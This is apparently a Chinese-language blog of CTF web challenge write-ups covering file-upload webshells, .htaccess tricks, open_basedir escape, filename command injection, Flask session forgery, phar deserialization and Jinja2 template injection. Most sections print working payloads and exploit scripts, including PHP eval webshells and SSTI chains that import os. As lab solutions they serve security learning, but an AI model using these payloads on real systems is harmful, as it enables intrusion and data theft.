eval($hhh);
?>

审计代码,第一部分是一段可以进行文件上传的函数,下面没有调用的地方,但有个代码执行,上传的代码长度小于18,并且过滤了ascii为0到32的字符,数字,大小写字母,单双引号,反引号,取反符,下划线,&,点号,逗号,|,等号以及0x7f,并且提交的字符种类少于12种,提到限制字符种类就想到之前的异或造shell,但这次放出了很多字符,应该没之前那么麻烦

1
${%a1%b9%bb%aa^%fe%fe%fe%fe}{%fe}();&%fe=phpinfo

代码执行成功,并且看到了禁止函数,不过不影响,因为过滤限制,只能执行无参函数,进行文件上传。

文件上传:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .muhua
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.muhua"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "url/?_=${%a1%b9%bb%aa^%fe%fe%fe%fe}{%fe}();&%fe=get_the_flag"

files = {
'file':('.htaccess',htaccess,'image/jpeg')
}
data = {
"upload":"Submit"
}
response = requests.post(url=url, data=data, files=files)
print(response.text)


files = {
'file':('1.muhua',shell,'image/jpeg')
}
response = requests.post(url=url, data=data, files=files)
print(response.text)

得到文件上传的位置:

upload/tmp_6f945091fa6c0e6e0d74bde2a756f864/1.muhua

直接蚁剑连上,但只有一个假flag文件,并且只能查看文件夹/var/www/html下的文件及其子目录下的文件,先在index.php的文件夹下建一个文件夹a,再在里面放一个马,这样就不怕被删了,然后就研究一下open_basedir,以及解决办法,给出的poc就是建立了一个文件夹,然后使用ini_set('open_basedir','..')重设限制目录位置,然后使用chdir('..')进行当前目录调整,退回到根目录下之后,再次使用ini_set('open_basedir','/')更改限制目录位置为根目录,然后进行读取。

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

#chdir('muhua'); #因为已经把这个文件放在一个新建文件夹里面了,所以不用再创了

ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..'); #多返回几次到达根目录
ini_set('open_basedir','/');

var_dump(scandir("/")); #重设好限制目录后进行目录读取
#得到:
/*
array(25) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(16) "THis_Is_tHe_F14g" [4]=> string(8) "bd_build" [5]=> string(3) "bin" [6]=> string(4) "boot" [7]=> string(8) "clean.sh" [8]=> string(3) "dev" [9]=> string(3) "etc" [10]=> string(4) "home" [11]=> string(3) "lib" [12]=> string(5) "lib64" [13]=> string(5) "media" [14]=> string(3) "mnt" [15]=> string(3) "opt" [16]=> string(4) "proc" [17]=> string(4) "root" [18]=> string(3) "run" [19]=> string(4) "sbin" [20]=> string(3) "srv" [21]=> string(3) "sys" [22]=> string(3) "tmp" [23]=> string(3) "usr" [24]=> string(3) "var" }
*/
show_source('/THis_Is_tHe_F14g'); #读取文件
?>

[NPUCTF2020]ezinclude

打开环境,页面上直接显示username/password error,页面源码有提示<!--md5($secret.$name)===$pass -->,结合页面显示,name和pass应该是可控变量,但secret这个变量一看名字就知道是未知的。

总之随便输入两个值,然后抓包,在响应头看到hash值,应该是name和secret合起来的hash值了,于是将pass改成这个值再传一次。

接着就可以得到页面显示:window.location.href="flflflflag.php";,打开显示include($_GET["file"]);

尝试php伪协议,想通过input传一个马,但显示nonono,按照传统规矩,应该是有过滤,经过几次尝试,过滤的不是php://,于是直接尝试搞源码

payload:

php://filter/convert.base64-encode/resource=flflflflag.php

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

据说还能扫到个dir.php:

{ .theme-legacy }
1
2
3
<?php
var_dump(scandir('/tmp'));
?>

既然能看到tmp下的文件,那么就上传文件吧,临时文件就会存入该文件夹(ctfshow web入门56)

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
import requests

from io import BytesIO

payload = "<?php eval($_REQUEST['a']);?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://fdf0714c-d5f5-4c92-a52b-03f98632a23e.node4.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

打开dir.php得到临时文件的名字,通过flflflflag.php进行文件包含得到phpinfo()界面,flflflflag.php的界面需要通过bp抓包,不然会被定向到404.html界面,flag就作为环境变量$FLAG在phpinfo()的环境变量environment界面。

废话:当然还可以上传个shell进行蚁剑连接,但什么都看不到,大概是设了权限(看到有个文件a.txt里面写着#halo antsword),不过可以上传文件,然后又在.var/www/html里面传了个马,然后直接访问,phpinfo界面里面看到各类命令执行被ban,硬着头皮用vardump(scandir("/"))找并且成功找到……一个假flag,因为是设置的环境变量,所以其实如果命令执行没ban找半天也够呛

[N1CTF 2018]eating_cms

这题有点…靠经验。
先打开环境,看到一个login.php,页面源码显示sign up,(这是我认识的为数不多的短语之一),那么应该是有注册页面的,于是找到register.phpadmin显示被注册,不过不影响,于是随便注册进入主页面,但是没什么东西,注意到网址显示的user.php?page=guest

利用php伪协议进行文件读取:

user.php?page=php://filter/convert.base64-encode/resource=user.php

上来就是个:require_once("function.php");

user.php里面本身没什么有用的东西

再读取到function.php

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
hacker();
}

可以看到这个疯狂暗示,但马上就被上面的那个Hacker.php打回来了,检测函数就是parse_url(),但如果直接在前面加上三个斜杠就会因为不符合规范而被返回false,从而绕过:

http://url///user?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

得到ffffllllaaaaggg.php源码

{ .theme-legacy }
1
echo "you can find sth in m4aaannngggeee";

m4aaannngggeee.php发现

1
include"templates/upload.html";

读取之后发现是一个文件上传的页面,当然这是一个没有修饰的界面(因为经常做到类似的存在.git文件里的这种文件,打开就是没有修饰的前台界面),如果进行文件上传就会上传到templates/upllloadddd.php,但templates文件夹下根本就没有这个文件,应该是直接跳转到当前文件所在文件夹下的upllloadddd.php,而upload.htmlupllloadddd.php并不在同一个文件夹,而根据guest.php的源码做对比判断(该文件内容和m4aaannngggeee文件格式一致)

于是使用访问guest的方式直接访问,也就是/user.php?page=m4aaannngggeee,确实得到了一个修饰过的页面,那么这样,根据之前的分析,当前页面下应该是有upllloadddd.php(当然上传后再发现也不迟),读取源码:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0")

直接可以在文件名进行命令执行,于是随便上传一个文件并且抓包,文件内容不需要管,修改文件名进行命令执行

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#先进行目录读取
filename=";ls;#" #分号闭合前面语句,井号“#”注释后面语句,用%0a进行换行也行


#没有看到有意义的东西,继续读取上一个文件夹

filename=";ls ..;%0a"

#得到flag_233333,但没有读取出来尝试先返回上一个目录,然后读取:

filename=";ls ..;cd ..;cat flag_233333;%0a"

#虽然网上wp都说斜杠被过滤了,但经过尝试:

filename=";ls ..;cd ..;cd var/www;ls;cd ..;ls;cat flag_233333;%0a"

#这个也是可以的,被过滤的应该不只是/

8/1

[HCTF 2018]admin

进入之后是一个欢迎界面,右上角点开,先注册一个号,老样子注册个admin,果然显示已被注册,随便注册个,登录之后页面源码显示<!--you are not admin--!>,那么只要作为admin登入,或者被认为是admin,就能进入下一步了,接着在密码修改页面的页面源码看到提示,github,下载下来,审计:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response

@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
logout_user()
return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':

flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)

def strlower(username):
username = nodeprep.prepare(username)
return username

在register,login,change模块都出现了使用strlower函数处理得到的name值,而strlower函数中使用了nodeprep.prepare函数对参数进行处理并返回被处理后的值,而nodeprep是从Twisted模块导入的,该函数可以将大写字母转换为小写字母,还可以将修饰字母大写(Modifier Letter Capital)转换为大写字母,也就是将(U+1D2C)转换为A(U+0041)

注册用户名ᴬdmin,注册的时候是将得到的用户名进行转换处理再记录,而登录则是将得到的用户名进行处理再与记录的用户名信息进行对照,于是登入后,实际上记录的用户名是Admin,接着进change,同样是将用户名进行处理再记录,于是修改的密码实际上是admin的密码,最后我们通过刚刚修改的密码进行admin登入,于是成功拿到flag

接着是非预期解,session伪造

1
2
3
4
5
6
7
8
9
10
11
12
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

session中的name为admin就能被认为是admin

,将注册好的账号进行登入,拿到session值(抓包或者用扩展Cookie Editor),进行解密,[工具链接](https://github.com/noraj/flask-session-cookie-manager),在config.py中得到密匙为'`ckj123`',解密:

1
2
3
conv\flask-session-cookie-manager>py flask_session_cookie_manager3.py decode -s "ckj123" -c "".eJw9kE-LwjAUxL_KkrMHk9qL4KGStii8lEC64eUi_qmbJsaFauka8btvcGFv85jhN8x7kt156G6WLO_D2M3Irj-R5ZN8HMiSmGAuDTcenKTIIDNhQ1FZj0r-CLe1gheTUS0F7qNwkDLy0ahNJlxlG1UukFVeqHVAjQujtz3Ucmq06QUrqak_PWjJUG8vEMpcqGICfgqGpzse54kTG95OTd0uMFYeXeoNkhndZhDXDqKfQGGe9AW1XJHXjBxvw3l3__bd9X-CqKs-xZjgR5q0Q1dS4YoH8E2GEVij8YGsjYZbD8rnopa5kas3rg_7r-6fdJhTeyr-nOs-JIOE0Y57MiPjrRvefyOUktcvSOBreA.YQiqXQ.fsbGWsLmw0hwEfTcZpTM9FD3jlI""

{'_fresh': True, '_id': b'ffe86d245cc7fb5a8da4162a400e55093635cd292761a918cad50faf8ebb0d09fb7a5ded1d6abe2a950007fd2e3749238508e8c1db8dbd6ee730c39016930ead', 'csrf_token': b'4ab1664754acb15602027c369f2ce3d8d1994d9e', 'image': b'oMat', 'name': 'muhua', 'user_id': '11'}

将name段的用户名改为admin,然后进行加密:

1
2
3
conv\flask-session-cookie-manager>py flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'ffe86d245cc7fb5a8da4162a400e55093635cd292761a918cad50faf8ebb0d09fb7a5ded1d6abe2a950007fd2e3749238508e8c1db8dbd6ee730c39016930ead', 'csrf_token': b'4ab1664754acb15602027c369f2ce3d8d1994d9e', 'image': b'oMat', 'name': 'admin', 'user_id': '11'}"

.eJw9kEGLwjAUhP_K8s4eTGovgodK2qKQhEC64eUiauu2iXGhKl0j_vcNLuxtHjN8w7wn7E5jd-1heRvv3Qx2QwvLJ3wcYAk22LNk1nOnCFKe2bAhqHuPWv0It-0FKyarG8KZj8LxlFEPqTeZcFUvdblAWnmh1wENLqzZDrxWkzR2ELQktv703CiKZnvmocyFLibO2mBZuuNxnjhRsmaSdbPAWHl0qTcoak2T8bh2PPqJa8yTPqNRK3jN4HgdT7vbt-8u_xNEXQ0pRgU7kqQdupIIVzw422QYOZUGH0ibaFnvufa5qFVu1eqNG8L-q_snHeakb4s_57IPyYB9G4YLzOB-7cb334AQeP0CRt1rYQ.YQi1_w.BDzeYZxk3Bviv9I_R4vqXMH20G0

将session改为伪造出的这段(使用bp或扩展),刷新界面,得到flag

[强网杯 2019]高明的黑客

打开环境,直接给了源码位置,下载下来,大量的php文件,并且名字都是随机组合,随便打开一个都有shell,但有的直接被重置,有的是被打印,需要用脚本查找出可以利用的shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time

print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:\phpstudy_pro\WWW\muhua.io\myweb\mddocument\buutitle\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = '本地环境位置/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

找到了利用文件: xk0SzyKwfzw.php and 找到了利用的参数:Efa5BVG

找到可以利用的shell,进行文件读取:

xk0SzyKwfzw.php?Efa5BVG=ls

(这题属实是考倒我了)

[GXYCTF2019]禁止套娃

.git源码泄露,用githack读取:

1
2
3
4
conv\GitHack>python2 githack.py http://7bcb89cb-fa29-4e47-8a97-5c16a4b6b8d3.node4.buuoj.cn/.git
[+] Download and parse index file ...
index.php
[OK] index.php

打开index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

ctfshow web入门 40

第一层是正则过滤,把一些协议过滤了,第二层是正则检测,匹配小写字母和下划线以及括号,并且在括号里面递归这个匹配模式,也就是从里到外一直匹配大小写字母或者下划线加括号格式字符串并进行替换为空,例:

1
2
3
a();       经过处理就会变成   ;
(a(b())); 经过处理就会变成 ();
a(()); 经过处理则不不变

最后还禁掉了一些字符组合。

构造出的payload是:

?exp=var_dump(scandir(pos(localeconv())))

localeconv()查找美国本地的数字格式化信息,其第一个位置的字符为点号,因此用于得到点号

pos()得到数组中当前数据,初始化的数组的键在第一位,也就是0位

scandir()获取目录下文件

然后用var_dump将其列出,发现flag在倒数第二个文件

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))))

array_resource()数组逆序

next()键移到下一位,并且输出当前位置的值

[NPUCTF2020]ReadlezPHP

打开环境,在页面源码找到提示:./time.php?source,访问得到php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

将变量b作为函数名,将变量a作为参数,
序列化:

1
2
3
4
5
6
7
8
9
10
11
12
class HelloPhp
{
public $a;
public $b;
}

$b = new HelloPhp;

$b->a='eval($_REQUEST[a])';
$b->b="assert";

echo serialize($b);

查看phpinfo()界面,发现命令执行函数被禁了

蚁剑连上,结果啥也没有,但直接var_dump(scandir("."));

结果只找到根目录有一个假flag,最后看了看phpinfo()界面的环境变量部分才找到flag。

[BSidesCF 2019]Futurella

复制粘贴

1
2
3
Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is flag{1d38cd18-4bb8-48c8-ac3e-eb831aacc347}

大概是某种修饰,去掉class的修饰就正常显示了

[MRCTF2020]套娃

1
2
3
4
5
6
7
8
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

可以用空格绕过去,例:

1
2
3
4
5
6
7
8
9
10
<?php
show_source(__FILE__);
echo $_SERVER['QUERY_STRING'];
echo "<br>";
var_dump($_GET);
?>

a%20b=c

array(1) { ["a_b"]=> string(1) "c" }

传入的参数名虽然是空格,但转换之后空格会被替为下划线:贴个讲解

第二个过滤点,是正则匹配字符串从首到尾为23333,但强类型比较又不能等于23333,末尾加上一个换行符绕过正则匹配。

?b%20u%20p%20t=23333%0A

得到提示:secrettw.php

页面源码出现js编码,直接运行得到:post me Merak

post传入参数Merak,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

首先伪造ip,一般通过三个参数获取ip:HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR,REMOTE_ADDR,其中HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR可以伪造,因此抓包改消息头

1
2
X-Forwarded-For: 127.0.0.1
Client-ip: 127.0.0.1

接着通过data协议写入2333:data:text/plain,todat%20is%20a%20happy%20day

最后反向加密得到file的值:

1
2
3
4
5
6
7
8
9
$v="flag.php";

$re = '';

for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}

echo base64_encode($re);

最终构造payload:

?2333=data:text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

[CISCN2019 华北赛区 Day1 Web1]Dropbox

随便注册个账号admin登上去了,那说明跟账号身份没啥关系,接着是文件上传界面,尝试上传一个文件,发现只能上传图片,而且会强制改文件名为你设置的文件类型的后缀,因此没法从配置下手,上传后点击下载也是很普通的下载了,抓包发现直接就是使用post方法通过filename传文件地址,尝试传入index.php,文件不存在,尝试目录穿越,传入../../index.php时得到了源码,同理将看到过的都获取了一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//找到可以利用的危险函数,File类中的close方法中可以进行文件读取:
class File{
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}

//接着看到类User里面有调用close方法:
class User {
public $db;

public function __destruct() {
$this->db->close();
}
}

//类`File`里面的属性`filename`是可控的,但close方法里是没有打印的,执行之后得到的文件内容并不会打印,因此还需要找到可以打印的地方,于是找到FileList里:
class FileList {
private $files;
private $results;
private $funcs;

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

可以通过调用FileList类中不存在的方法close触发魔术方法__call,而第一个参数$func便是调用的方法名字close,类中的属性$file可控,则建立类$this->file=new File,即可将文件内容作为函数返回值保存到$this->results[$file->name()][$func],最后通过魔术方法__destruct打印出

没有反序列化入口,但没有过滤phar协议,通过phar协议进行反序列化

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}

$a = new User();
$a->db = new FileList();

//phar知识
$phar = new Phar("muhua.phar"); //以phar为后缀
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //phar文件格式,必须有这段才会识别为phar文件
$phar->setMetadata($a); //链
$phar->addFromString("exp.txt", "test"); //生成签名,内容无所谓
$phar->stopBuffering();
?>

上传,抓包,改文件类型:image/jpeg,选择删除,抓包,POST内容修改为filename=phar://muhua.jpg,发送,看响应。

[WesternCTF2018]shrine

flask,同类型题目中的简单题,源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

config实际上是一本字典的一个子类,并可以修改,就像任何词典(app.config其实是实例化了flask.config.Config类的实例)

可以通过查看app.config来得到,但config被过滤了,无法直接注入来得到,使用python内置函数url_forget_flashed_messages进行查看:

/shrine/url_for.__globals__

(ctrl+f进行页面检索)可以看到一个current_app(当前应用程序),进行查看:

/shrine/url_for.__globals__['current_app'].config

或:

/shrine/get_flashed_messages.__globals__['current_app'].config

[GYCTF2020]FlaskApp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#app.py
@app.route('/decode',methods=['POST','GET'])

def decode():

if request.values.get('text') :

text = request.values.get("text")

text_decode = base64.b64decode(text.encode())

tmp = "结果 : {0}".format(text_decode.decode())

if waf(tmp) :

flash("no no no !!")

return redirect(url_for('decode'))

res = render_template_string(tmp)

如果能通过waf,就能进行模板注入,进而将文件读取出

1
2
3
4
5
6
7
8
9
10
11
12
13
#获取waf内容,查看app.py,注入:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

#解码:

def waf(str):
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1

#"&#34;"Unicode转换成字符是双引号

黑名单里放了flag,os等,还放了星号和问号

1
2
3
4
5
6
#读取根目录,字符串拼接绕过对os的过滤,注入:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

#解码:

[&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

可以看到this_is_the_flag.txt

1
2
3
4
5
6
7
8
#拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

#或倒序读:
#直接从右往左的顺序对字符串获取(-1代表从右往左):

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

[CSCCTF 2019 Qual]FlaskLight

页面源码得到提示

1
2
<!-- Parameter Name: search -->
<!-- Method: GET -->

通过GET方法传入search参数的值。尝试模板注入:?search={{7-1}},得到6

